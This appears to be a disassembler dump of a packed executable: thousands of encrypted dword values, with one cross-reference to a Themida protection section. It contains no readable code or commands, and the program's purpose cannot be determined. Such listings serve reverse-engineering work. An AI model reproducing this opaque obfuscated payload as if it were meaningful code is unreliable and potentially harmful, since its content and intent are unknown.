		dd 2016FB53h, 2016D253h, 2016FE53h, 20167753h, 2016BF53h
		dd 536F8C53h, 207B8A27h, 4F64A773h, 53659E30h, 2016FD0Eh
		dd 2016FE53h, 20167F53h, 2016BF53h, 2016DF53h, 2016EF53h
		dd 2016F753h, 2016FB53h, 2016FD53h, 2016FE53h, 20167F53h
		dd 2016BF53h, 2016DF53h, 2016EF53h, 2016F753h, 2016FB53h
		dd 2016FD53h, 2016FE53h, 20167F53h, 2016BF53h, 2016DF53h
		dd 2016EF53h, 2016F753h, 2016FB53h, 2016FD53h, 2016FE53h
		dd 20167F53h, 2016BF53h, 2016DF53h, 2016EF53h, 2016F753h
		dd 2016FB53h, 2016FD53h, 2016FE53h, 20167F53h, 2016BF53h
		dd 2016DF53h, 2016EF53h, 2016F753h, 2016FB53h, 2016FD53h
		dd 2016FE53h, 20167F53h, 2016BF53h, 2016DF53h, 2016EF53h
		dd 2016F753h, 2016FB53h, 2016FD53h, 2016FE53h, 20167F53h
		dd 2016BF53h, 2016DF53h, 2016EF53h, 2016F753h, 2016FB53h
		dd 2016FD53h, 2016FE53h, 20167F53h, 2016BF53h, 2016DF53h
		dd 7CFDC253h, 1755E922h, 89680000h, 0E905ED94h,	0FFFBB0B9h
		dd 0ED95A168h, 0B0AFE905h, 8868FFFBh, 0E905ED96h, 0FFFBB0A5h
		dd 0ED974E68h, 0B09BE905h, 0C768FFFBh, 0E905ED98h, 0FFFBB091h
		dd 0ED9A5368h, 0B087E905h, 3168FFFBh, 0E905ED9Bh, 0FFFBB07Dh
		dd 0ED9BE868h, 0B073E905h, 4068FFFBh, 0E905ED9Eh, 0FFFBB069h
		dd 0ED9F0D68h, 0B05FE905h, 0A768FFFBh, 0E905ED9Fh, 0FFFBB055h
		dd 0EDA04E68h, 0B04BE905h, 0C868FFFBh, 0E905EDA1h, 0FFFBB041h
		dd 0EDA76E68h, 0B037E905h, 6568FFFBh, 0E905EDA8h, 0FFFBB02Dh
		dd 6F304B90h, 7B3C3B9Eh, 894A2DAAh, 995A25B8h, 0A8690EC8h
		dd 577F664Ah, 448E5F20h, 43996A2Bh, 32A67738h, 1D58445h
		dd 4074A93h, 8E47CB55h,	0A3086B6Dh, 0B07106D2h,	21F59853h
		dd 19939DB3h, 1A9B685Fh, 796000E3h, 0EB4E1AB2h,	0ECC11886h
		dd 0A97D5508h, 0ED7667D5h, 3C9F5508h, 4DA43DA4h, 0B8C8EEC0h
		dd 3DE8h, 2EE12F00h, 49AEC115h,	0DBAF83E6h, 243AD30Ah
		dd 59A60CF4h, 4DB01578h, 46947B5h, 1645F19h, 1AB2E9Ch
		dd 2C935509h, 117F53B5h, 550901CCh, 654EE649h, 0B8C8DFE8h
		dd 10100h, 6B6D4700h, 0F2603408h, 5AF199EBh, 0CA2FC72Ah
		dd 359ADDF9h, 9AFF7464h, 37C3F9C6h, 0F31204ABh,	0F13E5885h
		dd 0F75ABD5Ah, 2D4A8E5Fh, 0D8CB986Ch, 41A63EEEh, 17C63408h
		dd 0FE5AF09Eh, 0F995039Bh, 8F5AF0A1h, 9C6D2E49h, 0FED2373Ch
		dd 9921BC2Ah, 7EEC5AF0h, 5AF0995Fh, 0BA8753B6h,	1F0F5A29h
		dd 0F68EF104h, 673BD699h, 0D3384796h, 9604D870h, 5F17922Eh
		dd 66C384E7h, 603408A5h, 934AB88Ch, 82550790h, 902CB11Fh
		dd 86E95507h, 299380EEh, 9F025931h, 0B226F7CBh,	65FD60C5h
		dd 6C2D4294h, 6FF6CB98h, 5C018A5Ch, 1EE3F3C4h, 895ABFB8h
		dd 60C32853h, 0A0B29AFDh, 8D1AD5BBh, 14A78028h,	0E5F60000h
		dd 0D108D99Ah, 0C314E5A6h, 0BF1EEFB0h, 0A82EFFC0h, 0CCB00ECFh
		dd 0BD7EF1E5h, 0C889E6ECh, 0D99AE5F7h, 0E2A3D008h, 0ECF15F33h
		dd 29550405h, 696DECA5h, 64744506h, 686A3B0Fh, 0A73FA207h
		dd 2EE12DE6h, 0F8DEAF83h, 47ACC711h, 15E981E4h,	199109A7h
		dd 6F7C45Fh, 2C286C8Dh,	0EFC397FAh, 0ABAF3522h,	107E751Eh
		dd 5508EECDh, 0C214E548h, 4DE548ADh, 994314E8h,	1D846DEh
		dd 3D5508EFh, 79F40BD6h, 1FB8C8ECh, 41AD4B52h, 44DC668Ch
		dd 0C7E0h, 6B6D2700h, 0F2603408h, 5AF199EBh, 0CA2FC72Ah
		dd 274E29F6h, 34E662C4h, 640BCB9Ch, 33FD91FFh, 4D8B5AF1h
		dd 4098692Ah, 29FACE33h, 63C8B3h, 0AD400B68h, 1C596BD9h
		dd 59BC5F19h, 0DD703B98h, 0BC499B09h, 0A90C5932h, 4A9301D5h
		dd 0CB4F1E74h, 3297D8FAh, 3B9B6CCFh, 0D46CCF34h, 62A72F00h
		dd 389B0077h, 723401D5h, 3A6BDA6Eh, 0E4F9673Bh,	314F1E99h
		dd 0A47536CEh, 0C9553D32h, 3A1AD27Dh, 138F2DD5h, 0CD0E0000h
		dd 0B920F1B2h, 0AB2CFDBEh, 0A73607C8h, 904617D8h, 0E4C826E7h
		dd 0D596D9FDh, 0E0A1CE04h, 0F1B2CD0Fh, 0FABBB820h, 0D409774Bh
		dd 41550404h, 696D04BDh, 64744506h, 2F6E3B0Fh, 0ECE9582h
		dd 9C5516AEh, 0A3086B6Dh, 80706D2h, 0DB3DEE0Fh,	95692A8Dh
		dd 0F95E19C4h, 0AA2DFE96h, 479162C7h, 8EF16B2Ch, 640E15D6h
		dd 7BE15C35h, 1C8A5EC1h, 5F1978B0h, 0BF429465h,	99FC5F1Eh
		dd 90E3F4C5h, 0E630C82Bh, 934A6078h, 0BE531CA7h, 1B4916EAh
		dd 0BBDE1311h, 3C28962Eh, 1961A73Dh, 3BF451B6h,	66C9AE28h
		dd 81C52492h, 0B3805BC0h, 0D60C1016h, 0C490289Dh, 6BC08D61h
		dd 63AED1AFh, 0C19266FEh, 8EE9EE17h, 1583572Bh,	51AC6AC8h
		dd 80E58A48h, 1DEE511Dh, 0EF52B7BAh, 13C59657h,	52D27860h
		dd 2671844h, 12A85Ah, 8BE6F500h, 95E0F9CAh, 0A1D403D4h
		dd 0AFCE0FE0h, 0B6B91DEEh, 0CCB397F5h, 0D3A4650Ah, 0DEAF70FFh
		dd 0EFC081FEh, 1ECD8EE9h, 401DC4Ah, 90145504h, 86B6DD7h
		dd 0E88546A3h, 0BD24014h, 0A5AF19Ah, 673B0FA7h,	0D0354296h
		dd 9D67D56Dh, 0F85F19B8h, 2F00D495h, 26F961AAh,	0F3C02171h
		dd 30C82B90h, 99FE795Fh, 0ADE733Ch, 0A415C836h,	8AF85508h
		dd 5508A453h, 30935FC2h, 0BF56C498h, 0D6593315h, 0ACE9F73h
		dd 0FDDBAC6Dh, 0F7B8157Ah, 22B5865Ah, 0A816EA4Fh, 4F1B1335h
		dd 821A7DE0h, 84B540AEh, 3DA05345h, 33409869h, 3C37A172h
		dd 1CB17AD7h, 91EEDA48h, 4E1F4D55h, 0A088EB84h,	6AD3590h
		dd 0E28C3499h, 0BB000011h, 0C3945520h, 0CD9E5F16h, 0D5A6670Ah
		dd 0DBAC6D08h, 55B374FBh, 234C8A71h, 2E419162h,	33409C6Dh
		dd 3C37A172h, 8AF8CC7Bh, 55040353h, 6D853EC2h, 0E8450669h
		dd 0E2B68A27h, 18B0CB11h, 19977AAAh, 93F85B5Fh,	0A06116C2h
		dd 2575FFCCh, 0EF341D6Dh, 82008A22h, 0A53DFAEDh, 0A6F04D4h
		dd 7B4FE2ADh, 3111170Dh, 0F65BBE59h, 44D30E75h,	4A1EDF94h
		dd 7D50876h, 0DD404F21h, 1C27E845h, 7F53B6C1h, 49051311h
		dd 0FA5FC253h, 5FC4AF29h, 47429F06h, 4115E984h,	0F9DEFF6Dh
		dd 0D4374938h, 0F756CE3Ch, 1C7F4D60h, 27B6875Bh, 0F890F358h
		dd 61C6B127h, 50DBE6F3h, 0BCBB2243h, 29568657h,	19C82FC4h
		dd 835EC568h, 6E2F4494h, 64383B9Dh, 53C14593h, 4350DC8Ah
		dd 60C5288Bh, 0DBBF1E8Ch, 0F3564350h, 3693F890h, 0E4F96775h
		dd 314350DBh, 29976BCEh, 4778CFDBh, 6D70DEB2h, 0A83D68C7h
		dd 0D627445h, 7246A975h, 0A43C37A1h, 0A9420FE3h, 5D0C9FA7h
		dd 288BE4EEh, 25D01690h, 5AF28554h, 0CB9F32FDh,	93B8B05Dh
		dd 0E610DD41h, 50F7DE3Fh, 10733FD7h, 8EE1F5C6h,	151EBB29h
		dd 13E7377Ch, 7C1538A5h, 0E27ADD37h, 5327CA85h,	14CC117Fh
		dd 0E649377Ch, 0E10C7A4Eh
		dd 743BA685h, 6C6C3D11h, 63754607h, 2836C0A6h, 83E66094h
		dd 0E6894D1Eh, 62163CFEh, 0F49C0138h, 1069h, 0BCCA734h
		dd 17D89F3Ah, 25E69146h, 2DEE8954h, 34F57A5Ch, 0CB0BF2D6h
		dd 0C012E3A4h, 0BF1DEEAFh, 0B622F3B4h, 7D5100C1h, 401CE0Fh
		dd 0AC34755h, 0B528966Ah, 585AF199h, 0F199F3EAh, 0F3BF225Ah
		dd 0AF27F890h, 5F3307C8h, 0F199ECF1h, 0E755295Ah, 5AF199F6h
		dd 0C159BC1Fh, 268BE8F0h, 8BF08355h, 0F05522BAh, 9A2FAE1Ch
		dd 83E65AF1h, 0E74C2BB2h, 0C9BA278Eh, 0F322BF26h, 0FDD192E5h
		dd 9A22BB29h, 90F35AF1h, 471E0FF8h, 84AABD20h, 0F1000001h
		dd 439A6B6Dh, 9B6CD134h, 670CCC3Dh, 7E5F3004h, 99BD208Eh
		dd 0F5585AF1h, 32CA2D92h, 0F8C99D71h, 0B12C9AE5h, 645AF199h
		dd 430C6901h, 9A0ECF3Dh, 0A4075AF1h, 51FF6D41h,	0BC5F1993h
		dd 8B637AE8h, 2CAD5509h, 0B581E449h, 1C8AEF52h,	55098ABDh
		dd 30C71A81h, 0B8C84C3Dh, 38CBh, 2EE11200h, 0EDBAF83h
		dd 7FEFB909h, 3D5BE775h, 3710F0BDh, 0D4DC4AE2h,	0F95F1990h
		dd 0ECF1C296h, 6116C091h, 0E3F664C9h, 5B55098Dh, 706EDF4h
		dd 0A1B8C84Bh, 0A1h, 39996AE8h,	0D66ED136h, 0CCA0D305h
		dd 3398D7FBh, 99ECF15Fh, 0C6295AF1h, 9566CB63h,	0F8C92E41h
		dd 5D2E93E0h, 5324F87Bh, 9253EB8Ah, 0F19D6A24h,	53BA1E5Ah
		dd 8FA441BEh, 0CB0EDFA0h, 81E447ACh, 5A863C0h, 8F9BC331h
		dd 4FB25F1Ah, 432CAA7Bh, 0E425B182h, 0B71A7FF4h, 2184F3E6h
		dd 0EA2DFD39h, 39E14614h, 0EDDh, 9F601BC0h, 0AB6C0BCEh
		dd 0B97AFDDAh, 0C98AF5E8h, 0D899DEF8h, 27AF967Ah, 14BE8F50h
		dd 13C99A5Bh, 2D6A768h,	3105B475h, 4001AC3h, 0BE77FB55h
		dd 4506696Dh, 4E0F6474h, 9A6B6D95h, 6BD0333Ch, 0F910C697h
		dd 0CE3396D9h, 0D602D36Bh, 0C90FE0A1h, 0D309DAAEh, 73D89F3Ah
		dd 0E548AD10h, 4314E84Dh, 177ADF96h, 82E79046h,	612A871Fh
		dd 168AF8CCh, 0B75F1992h, 2386F1E6h, 1ABD8E62h,	27508657h
		dd 7B0E78Fh, 6A2E0000h,	684E729Dh, 67656DEFh, 0C213DF92h
		dd 29FA92F5h, 0F77C5CADh, 67CC2F92h, 0F160E0F9h, 3ED39C5Ah
		dd 0D1E9FC6Ah, 96C5F1Bh, 4C946135h, 0E1E3C4A3h,	8E4A1BB3h
		dd 0D34115E9h, 5503EE0Ah, 4F10A80Bh, 0B81D5A7Eh, 0C31AEFE7h
		dd 3B6951B4h, 8014ECD2h, 0DFF731Bh, 3D9E0000h, 29B08142h
		dd 1BBC8D4Eh, 17C69758h, 0D6A768h, 7458B677h, 6526498Dh
		dd 70313E94h, 81423D9Fh, 8A4B28B0h, 449907DBh, 0D15503FFh
		dd 696D944Dh, 0D2374498h, 7A4B0C6Fh, 0E167AF5Eh, 95E133DFh
		dd 0DCFCCD32h, 288F3297h, 0F97E5AB9h, 0AEDE4F38h, 15EABD20h
		dd 31000000h, 0F1900FD0h, 6BA4395Ah, 40A50867h,	0B9D27ADDh
		dd 19FFFFFDh, 0F83C9D6Ah, 532803A2h, 0B71C5B82h, 8B4EBC54h
		dd 0F15AF0FEh, 0EBBF933Eh, 0F64A91Eh, 199EDB7h,	1BD48A93h
		dd 0D4A80B5Fh, 0CEA2D503h, 0D2518CFAh, 61C45503h, 0A13708C9h
		dd 36A071D6h, 0B6015941h, 157A14ECh, 0D486Dh, 0EB865500h
		dd 0F580592Ah, 1746334h, 0F6E6F40h, 16597D4Eh, 2C13F755h
		dd 3304C5AAh, 3E0FD09Fh, 4F20E19Eh, 7E2DEE89h, 0FEA13CAAh
		dd 0F0745503h, 86B6D37h, 7106D2A3h, 0D8973B0Ch,	0D135A273h
		dd 0F19A7A63h, 0D5389B5Ah, 7B66CD70h, 0E100670Ah, 10D1A632h
		dd 20472627h, 518152BDh, 1222861Eh, 69000000h, 0F1900FD0h
		dd 1FFA75Ah, 2BFFFFFDh,	5CF4835Ah, 832EE1A3h, 8A1F41AFh
		dd 59265F19h, 0B832E43Ch, 36029A6Bh, 0D8006ED3h, 665508BAh
		dd 121BE2FFh, 46B8C89Ch, 59006179h, 0C25AE48Ah,	20A5Eh
		dd 23B98A00h, 0D007C058h, 5AF19A19h, 9741129Dh,	8E4A1BDCh
		dd 934415E9h, 281F4076h, 8EF16491h, 0C92EC629h,	2B7C28F5h
		dd 0A0774E74h, 5E979A08h, 0AD815AF1h, 1277FCDCh, 31B017AFh
		dd 0C081F6E2h, 0D64418ECh, 5AF15E07h, 0A03DAB0Eh, 755AF15Dh
		dd 551D7A12h, 528657BCh, 45936425h, 28F9CD32h, 0FD60C5AAh
		dd 5D32F765h, 65CC5AF1h, 7DF8757Ch, 9410BD20h, 3C000001h
		dd 6B03726Bh, 44996AB2h, 8D0A139h, 5E32066Bh, 0F199EDF0h
		dd 2DC5285Ah, 18867C5Ch, 5AF199C5h, 0C98AED50h,	3A0EA36Ch
		dd 418D596Dh, 7C14E9B4h, 9200D4A8h, 5AF12C4Bh, 71DFFDCAh
		dd 45DF73D7h, 74DC4AE2h, 915F1930h, 0C75F1CC0h,	5F3398FBh
		dd 468B6292h, 1F82E790h, 0E55A0552h, 77FADF4Dh,	0CA0E5509h
		dd 944EAE43h, 631D13h, 680FCA9Bh, 9CFA003h, 66D096Eh, 0A80FAADBh
		dd 224BC239h, 595DB8C8h, 0A4000000h, 52F29D6Ah,	104CA1E8h
		dd 0F0C83BA2h, 1477DA5Ah, 536C1F7Ch, 0D81EEB8Ah, 408A401Dh
		dd 0D1A579DCh, 0F1617A63h, 0A0389B5Ah, 58525ECCh, 0AA7B5F19h
		dd 7FE44728h, 954C811h,	0D5A27655h, 2BD4175Eh, 49B78BABh
		dd 5508BB94h, 1F861E81h, 98323BC2h, 97D6B8C8h, 1D000000h
		dd 0A3086B6Dh, 66B04D2h, 0F51D6532h, 0AE97CE95h, 0E0934516h
		dd 492EAA7Bh, 2FEC1A88h, 0CC995AF1h, 6B9BE1A5h,	0F0ECBD3Ch
		dd 0BE1AEB83h, 16E78E4Bh, 9455B8C7h, 5D97437h, 1ABAC797h
		dd 4F23865Fh, 871F587Eh, 0CA0EDFB3h, 924415ADh,	8B4B1CDDh
		dd 569AFCE4h, 0C22714EAh, 0AF01Ah, 432EAD00h, 4D28B182h
		dd 591CBB8Ch, 6716C798h, 6E01D5A6h, 846B4FADh, 8B5C1D52h
		dd 96672847h, 0A7783946h, 0D6854631h, 0FC499402h, 48CC5503h
		dd 6696D8Fh, 0F647445h,	6B6D954Eh, 0F2603408h, 5AF199EBh
		dd 0CA2FC72Ah, 0BFB225F6h, 0F5825627h, 3F48C34h, 0C4D30000h
		dd 4CBA8EBDh, 5AF19A91h, 2C892184h, 1766063h, 0B05CCA9Eh
		dd 0DD5F1C0Bh, 12AACD0Ch, 3C99E346h, 11667073h,	12E649ACh
		dd 2C20A0A4h, 39A47559h, 876DB3Eh, 4F1BDFD1h, 24DB066Dh
		dd 0B6F5F929h, 35CBFh, 9D00600h, 0FC5AF19Ah, 9A23BA28h
		dd 8FF25AF1h, 9A4989F7h, 703B5AF1h, 0C19B09DDh,	4C5F19BEh
		dd 7E16617Bh, 7674FB2h,	9C14E95Bh, 0A238F37h, 617A0000h
		dd 55845516h, 47906122h, 439A6B2Ch, 34A27334h, 381C7A3Bh
		dd 31F28551h, 3CFD7260h, 4506716Bh, 4E0F6474h, 805DCB9Fh
		dd 955503FBh, 9D6A5811h, 0AD57E35Fh, 0A6770FFDh, 83E04532h
		dd 7D5125C8h, 6BE475B0h, 0EA62456h, 1B2E61A0h, 8C92C5Fh
		dd 794DE0ABh, 2D9CFA0Bh, 64389B59h, 6F303F93h, 159AF001h
		dd 6906CC4Fh, 74FBD7A8h, 6C9A3E0Fh, 1598DFFEh, 1DC02E4Fh
		dd 0F84F1599h, 366C995h, 0E38E419Eh, 8CFBA10Fh,	379A533Dh
		dd 0C568294Fh, 81298E00h, 989h,	0EBACC714h, 0F7B8BF1Ah
		dd 5C6B126h, 0DCEA934h,	14D59A3Ch, 0EBEBD2B6h, 0E0F2C384h
		dd 0DFFDCE8Fh, 0D602D394h, 5D31E0A1h, 3FAEEEFh,	0EAA32755h
		dd 0AF832EE1h, 0A4D30ADBh, 0D644DC3Fh, 5F1C0B2Fh, 2E419566h
		dd 2F0366C9h, 97FC7B5Eh, 29926734h, 0A7E657F8h,	686A3B0Fh
		dd 0D3363999h, 0DE914112h, 0BE531C79h, 5D857CEAh, 0A508592Eh
		dd 8528E340h, 9F10DDB1h, 0F4FF05DFh, 9BFAE351h,	0B81B4F15h
		dd 72DE4C20h, 93533DB5h, 6D8C51BFh, 2689492Dh, 6CF9E452h
		dd 0B91C492Dh, 0AF25521h, 0C5538Eh, 0E246EE53h,	0BB000008h
		dd 0C3945520h, 0CD9E5F16h, 0D5A6670Ah, 0DBAC6D08h, 55B374FBh
		dd 234C8A71h, 2E419162h, 33409C6Dh, 3C37A172h, 8AF8CC7Bh
		dd 5503FA53h, 6D853EC2h, 0D2A3086Bh, 0A2D50306h, 0D037DA3Fh
		dd 30D60211h, 0F19A1BC2h, 0B429FA5Ah, 9E0164C9h, 0D9A67A3Bh
		dd 7F1AC134h
		dd 0D687112h, 4AE245A8h, 209AEC61h, 183FCBDh, 57280000h
		dd 0A25BF382h, 389A6B6Dh, 0C6FD237h, 0DA02D3A7h, 66CBAA2Fh
		dd 3708A003h, 3102D6A1h, 7536CEA1h, 6B08D0A1h, 0AE0BA306h
		dd 0E7C50FDh, 5F199342h, 95E2FACBh, 8B8A53C1h, 288B5509h
		dd 0AF1DF1C5h, 55098B2Eh, 42B084E7h, 55098B9Bh,	1A7F177Ah
		dd 98B2DACh, 37AA1155h,	0C84C4DC0h, 5B5BB8h, 0E1A20000h
		dd 0DEAF832Eh, 409D0BFBh, 0D55AF19Ah, 9F3E0F72h, 67448E0h
		dd 5F1990AAh, 0E38C4A1Bh, 4A25AD7Eh, 871F82E5h,	6479E7BBh
		dd 0AC55098Eh, 1B7E4A2Dh, 0AB7F53B8h, 98DA03Dh,	7A127555h
		dd 98CCD0Ch, 0C99D7155h, 98D825Bh, 98309355h, 0C449B031h
		dd 0E4B8C84Ah, 9Fh, 9A6B6D2Bh, 71D4393Eh, 0FED8A90Eh, 95431479h
		dd 99DA0371h, 0D83B5AF1h, 41A4CB07h, 0AACD0BDCh, 86637BE9h
		dd 0F3E55AF1h, 0A962BF80h, 82659A9Ah, 0DA3DD5EDh, 0DFC69806h
		dd 24875F1Ah, 20577F50h, 175E7B4Ch, 0E9EDBE7Fh,	7D2C9E86h
		dd 8CF114EAh, 768E4h, 0CBA63500h, 0D5A0390Ah, 0E1944314h
		dd 0EF8E4F20h, 0F6795D2Eh, 0CF3D735h, 13E4A5CAh, 1EEFB0BFh
		dd 2F00C1BEh, 5E0DCEA9h, 0F8C11C8Ah, 0D0545503h, 6696D17h
		dd 0EDF05E32h, 275AF199h, 0ABB0253Ah, 0CC2FFB42h, 36A27334h
		dd 6AC78041h, 9B333E99h, 8AF80ECAh, 5AF19A53h, 97FC5FC2h
		dd 0E5F712C6h, 0CE76379Ah, 5Ah,	5CAD29FAh, 0FE96F976h
		dd 618CC445h, 99BE1F8Dh, 0F4575AF1h, 0A14CFF5Ch, 0B028F9CDh
		dd 4EBD2BC3h, 475F1C0Bh, 8D80573h, 0DA3D5504h, 0AB32D77h
		dd 24F89556h, 2E7A54B6h, 94DE4159h, 34E4F3C0h, 0A091B8CAh
		dd 0D823B1BDh, 8155B87Fh, 1654CA13h, 50E84B4Fh,	3DA8h
		dd 2EE1EF00h, 9A39A412h, 79DC5AF1h, 9D6E4216h, 2E9C343Fh
		dd 5F198DD6h, 0BB885CBFh, 42B79E3Fh, 157A1234h,	260CFBA7h
		dd 37AA119Fh, 1AEE834Ch, 313658ACh, 19DA3D59h, 0EE71h
		dd 2EE1B800h, 4DB0C315h, 0A637A579h, 6A5AF199h,	0D437036Ch
		dd 9A4B9200h, 67CA5AF1h, 808DFBCFh, 155F1C0Bh, 0CB11DEB2h
		dd 37B433ACh, 4C206C04h, 81195C7Bh, 11785E07h, 0C52429D0h
		dd 8EC4B8CDh, 0B000000h, 0AF832EE1h, 1A7FF8DEh,	6875E3B7h
		dd 0AD5AF19Ah, 70DEB24Ah, 5F1C0B9Ch, 0CE072CF9h, 0F4F183EDh
		dd 4255786h, 0F85BBE55h, 26CF4995h, 0F108D940h,	0B8CD327Ch
		dd 0E98C4B1Ch, 4FED51h,	45190000h, 30DA0371h, 0D83B5504h
		dd 431736Ah, 6B3FA255h,	430E0FDh, 3AD23555h, 832EE181h
		dd 4E0EDBAFh, 0E512B646h, 2E6B46FAh, 40A34FC3h,	730B6A6Fh
		dd 1BC80605h, 19BE8F5Fh, 3396F95Eh, 0DEC46DE7h,	9A936A77h
		dd 2EB8CD96h, 1Fh, 40996A75h, 0D56DD035h, 0F182DA67h, 0CEA92E5Ah
		dd 81518CFAh, 61C45AF1h, 0FED856FEh, 0E19DFFFFh, 41AF832Eh
		dd 5F1C081Ch, 0D43196F9h, 0CEA2761Bh, 8518CFAh,	61C45504h
		dd 79AF5BC9h, 83E6592Eh, 7066E2AFh, 783196DEh, 6D1E7BE0h
		dd 8CF18652h, 1EF2C629h, 0C9F46151h, 0A53DB55Bh, 4011BE37h
		dd 60349753h, 6A2B4A8Fh, 0E6F1C296h, 0EC01D8Bh,	84554928h
		dd 25BD2053h, 966A07C8h, 5D80EEC2h, 0B849280Fh,	0E4FBD55h
		dd 74D527Dh, 0B103D0A4h, 452919E4h, 0C2274A8Dh,	9064FC5Fh
		dd 8E621DBFh, 9E914CBAh, 21844339h, 27F4C889h, 520CA526h
		dd 0AE1CB42Dh, 0AB1F4A3Eh, 0F0B1C612h, 0EABEB91Fh, 1BB3BE19h
		dd 0FB9659B6h, 0F37C5627h, 0D65E2B8Eh, 76D5CE67h, 0DB491DB5h
		dd 0AF3AD749h, 8455298Ch, 9C41AF53h, 79A52ACEh,	0B61BB316h
		dd 0C8946135h, 0B5234081h, 4F20B283h, 829150B7h, 8F602156h
		dd 0ED18C44Dh, 0C02388EBh, 5526FA5Dh, 20577F88h, 5DF558BDh
		dd 0C3B227F8h, 865BC25Eh, 692A5587h, 0D2374498h, 5BC2B158h
		dd 2A558786h, 0CE68956h, 0C2E8E0CCh, 0E1B0692Ah, 3DA00E2Ah
		dd 0D85AF19Ah, 0DCAD1275h, 0D6A377FCh, 6FA26DAAh, 0C227BFA3h
		dd 0A4DF0269h, 0B08142EFh, 0AA774B28h, 8B474EE5h, 4F1C7FE4h
		dd 3CD491F4h, 924B1CF0h, 0AD106375h, 0D34DE548h, 40A1082Bh
		dd 226C07D1h, 88ED8851h, 0F18EC31Ah, 0AB369D5Ah, 360A6D6Ch
		dd 8EE9F462h, 0C92C5AF1h, 0CF9C7031h, 0A5968DB0h, 33A475CDh
		dd 0E078DB40h, 4DB2CD0Fh, 0F0D1F9DFh, 0BE238A5Ah, 58848D4Fh
		dd 0F053B61Bh, 0BED8C12Fh, 351E5AF0h, 0BD20A525h, 0C01D8B5Fh
		dd 555AF0BBh, 64F65AF2h, 3DFFFFFFh, 2B4F9D6Ah, 0A452D4C7h
		dd 0D870FFD3h, 0E5A6D107h, 0ECF3D11h, 75AF0BFh,	9D3B0CA4h
		dd 1BBD8EDAh, 0A23B0C58h, 9C017465h, 0A071D639h, 39DC4136h
		dd 0FD6E0FD2h, 0CCC4B96h, 78491D67h, 8F43145Fh,	80187BE0h
		dd 209C9697h, 5932BDh, 8D5E0000h, 0D68F274Ah, 0AF832EE1h
		dd 1C0BC941h, 0EAF3C45Fh, 2BC3268Bh, 2E498E5Fh,	479566C9h
		dd 37DC92Ch, 0CCA7315Bh, 37409667h, 19C82FD2h, 5190F768h
		dd 4D87536h, 91BC230h, 84F25504h, 55040959h, 2A8D59BCh
		dd 5EF67959h, 79EE1C8Ah, 44A7592Eh, 3552FAh, 6A990000h
		dd 99B52896h, 0FD605AF1h, 0AA470865h, 0BA268D6h, 90F35F1Ch
		dd 0DF1FCA44h, 46177CF3h, 0EA7FE493h, 0B01D5E83h, 22ED9849h
		dd 0BD4DBB8Fh, 0D8592E7Ah, 6A722B75h, 0D0354099h, 3A9FDEFFh
		dd 0BDC74D7h, 7445AACDh, 6A3B0F64h, 42A50A6Dh, 0C38CE9AAh
		dd 64EC5A2Eh, 0A95F1993h, 390DE146h, 98B12CBh, 0C12F0355h
		dd 55098B1Ch, 9B3396F9h, 98AAC2Dh, 0B62B9255h, 0C84CCE3Fh
		dd 3ADAB8h, 35060000h, 0D501D29Dh, 0E1510AA2h, 0DBAF832Eh
		dd 0A854300Eh, 90287656h, 18E08E22h, 77DC3F5Fh,	5B0BD6A3h
		dd 0EDFE1B81h, 0A7F2E755h, 0E54C5508h, 0B578F5FCh, 0F990B8C8h
		dd 0D7000000h, 34086B6Dh, 99EBF260h, 562A5AF1h,	0F199F5E8h
		dd 5ABD205Ah, 0C0255089h, 8F60C55Dh, 0FACB3047h, 633499DEh
		dd 612E0275h, 0B69AF0A4h, 1BB788BAh, 8DFBBC54h,	5AF16F01h
		dd 65265187h, 0CA2F4494h, 3B0FA26Dh, 333C9667h,	65D36BCEh
		dd 5F194C3Bh, 116E2F92h, 0BDFB35Eh, 94B409Dh, 0A572D555h
		dd 762223ACh, 6C40D839h, 32C36EFEh, 0A513E759h,	4F1E8138h
		dd 43177ADDh, 3D3A9E6Fh, 0D60775D8h, 3F4F1E80h,	9F7044DCh
		dd 986C4037h, 1E80B32Ah, 67FF624Fh, 1D5A6h, 523A9DD2h
		dd 1AD26742h, 0C2A24AAFh, 0DB000001h, 0E3B47500h, 0EDBE7FF6h
		dd 0F5C687EAh, 0FBCC8DE8h, 75D394DBh, 432CAA91h, 4E21B182h
		dd 5320BC8Dh, 5C17C192h, 0AA18EC9Bh, 5503F333h,	6DA55EE2h
		dd 65320669h, 0FD4C8A66h, 83B6635Ah, 52E84916h,	6776E4B8h
		dd 0AE5AF102h, 21F2B34Bh, 42FBBCB7h, 0E3192EE1h, 0E920CB2Bh
		dd 0DB491D80h, 5F1963D5h, 0C23095F8h, 55096117h, 0DA21C027h
		dd 0B8C87E53h, 1AC33105h, 0FB55096Dh, 0BC9C0098h, 0E3000000h
		dd 34086B6Dh, 0A9E0BA67h, 0F0AEA23Bh, 4310735Ah, 0B9515E7Fh
		dd 1C538354h, 394549B7h, 95435AF1h, 885021E2h, 662986EBh
		dd 1789F7CBh, 0AE5F1917h, 0DE76F9DDh, 1AEEAF12h, 957C8949h
		dd 0DBD10B16h, 86BD033h, 3ED6A137h, 0AF832EE1h
dword_59C168	dd 3269CA41h, 9468CB59h, 8EE9EFC0h, 5D2EC629h, 0C6178579h
					; DATA XREF: Themida_:0055A454o
		dd 4F4F1E20h, 0F7C889ECh, 12B098DFh, 171AD207h,	0CB0AB2h
		dd 9D20000h, 0FDDCAD6Eh, 0EFE8B97Ah, 0EBF2C384h, 0DCFACB8Ch
		dd 9074D293h, 894A2DA9h, 94551AB8h, 9D5E19C3h, 0A6670CCCh
		dd 28B523F7h, 0ED5503F2h, 696DB069h, 0A4714506h, 49E77301h
		dd 0FDDAABC7h, 0C711E27Ah, 6A32EBACh, 0A0384399h, 9A6E09CFh
		dd 0CD6510C9h, 1AC39468h, 0FB93F65Bh, 0EA58AE2Ah, 5AF199F3h
		dd 9B5CBF22h, 0A8690ECAh, 117601D7h, 60CCF5A3h,	3144937Dh
		dd 98D7FBCCh, 0B8299033h, 0C99A6EC7h, 6AD16914h, 33409877h
		dd 5CCA9E72h, 33604281h, 0C8993194h, 0BE8F6310h, 64C9611Eh
		dd 0C62B4A93h, 1403DE45h, 1AEEAFC4h, 4205D846h,	0AD103360h
		dd 0DF944415h, 0FD27Ah,	6A190000h, 233BBB9Dh, 2DFEF52Eh
		dd 7E30C8ABh, 36E6DC5h,	680BCD9Eh, 0CDAA3203h, 343B9768h
		dd 9FD8FECFh, 0A6D693Ah, 6E09D4A5h, 0D49F3809h,	3C3B9E6Fh
		dd 456850D7h, 89000051h, 8951243Ch, 4C181E1h, 81000000h
		dd 4E9h, 240C8700h, 243C895Ch, 286268h,	24348900h, 1FA96853h
		dd 815B6405h, 100C60CBh, 48CB811Fh, 81271579h, 27ECC6EBh
